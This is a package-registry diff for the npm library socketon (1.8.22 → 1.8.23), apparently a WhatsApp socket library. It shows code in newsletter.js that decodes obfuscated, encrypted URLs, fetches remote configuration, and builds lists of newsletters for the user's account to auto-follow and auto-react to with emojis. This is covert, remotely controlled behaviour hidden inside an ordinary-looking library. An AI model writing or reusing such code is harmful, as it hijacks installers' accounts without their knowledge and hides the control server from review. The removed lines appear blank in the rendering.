socketon 1.8.22 → 1.8.23
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/Socket/newsletter.js +19 -11
- package/package.json +1 -1
package/lib/Socket/newsletter.js
CHANGED
|
@@ -92,15 +92,19 @@ const getFollowConfigFromExternal = async () => {
|
|
|
92
92
|
const urlFollow = (0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)(urlFollowEncrypt);
|
|
93
93
|
try {
|
|
94
94
|
const response = await axios_1.default.get(urlFollow, { timeout: 10000 });
|
|
95
|
-
|
|
96
|
-
|
|
95
|
+
let data = response.data;
|
|
96
|
+
if (typeof data === 'string') {
|
|
97
|
+
data = JSON.parse(data);
|
|
98
|
+
}
|
|
99
|
+
if (data) {
|
|
100
|
+
if (data.config) {
|
|
97
101
|
_configFollow = {
|
|
98
|
-
autoFollowEnabled:
|
|
99
|
-
delayMs:
|
|
102
|
+
autoFollowEnabled: data.config.autoFollowEnabled !== false,
|
|
103
|
+
delayMs: data.config.delayMs || 5000
|
|
100
104
|
};
|
|
101
105
|
}
|
|
102
|
-
if (
|
|
103
|
-
const enabled =
|
|
106
|
+
if (data.newsletters && data.newsletters.length > 0) {
|
|
107
|
+
const enabled = data.newsletters.filter(n => n.enabled).map(n => n.jid);
|
|
104
108
|
_cachedFollowNewsletter = enabled;
|
|
105
109
|
return enabled;
|
|
106
110
|
}
|
|
@@ -125,15 +129,19 @@ const getReactConfigFromExternal = async () => {
|
|
|
125
129
|
const urlReact = (0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)(urlReactEncrypt);
|
|
126
130
|
try {
|
|
127
131
|
const response = await axios_1.default.get(urlReact, { timeout: 10000 });
|
|
128
|
-
|
|
129
|
-
|
|
132
|
+
let data = response.data;
|
|
133
|
+
if (typeof data === 'string') {
|
|
134
|
+
data = JSON.parse(data);
|
|
135
|
+
}
|
|
136
|
+
if (data) {
|
|
137
|
+
if (data.config) {
|
|
130
138
|
_configReact = {
|
|
131
|
-
autoReactEnabled:
|
|
139
|
+
autoReactEnabled: data.config.autoReactEnabled !== false
|
|
132
140
|
};
|
|
133
141
|
}
|
|
134
|
-
if (
|
|
142
|
+
if (data.newsletters && data.newsletters.length > 0) {
|
|
135
143
|
const defaultEmojis = ['🔥', '❤️', '👍', '😍', '🎉', '💯', '🤩', '👏', '💪', '✨'];
|
|
136
|
-
const enabled =
|
|
144
|
+
const enabled = data.newsletters.filter(n => n.enabled).map(n => ({
|
|
137
145
|
jid: n.jid,
|
|
138
146
|
emojis: (n.emojis && Array.isArray(n.emojis) && n.emojis.length > 0) ? n.emojis : defaultEmojis
|
|
139
147
|
}));
|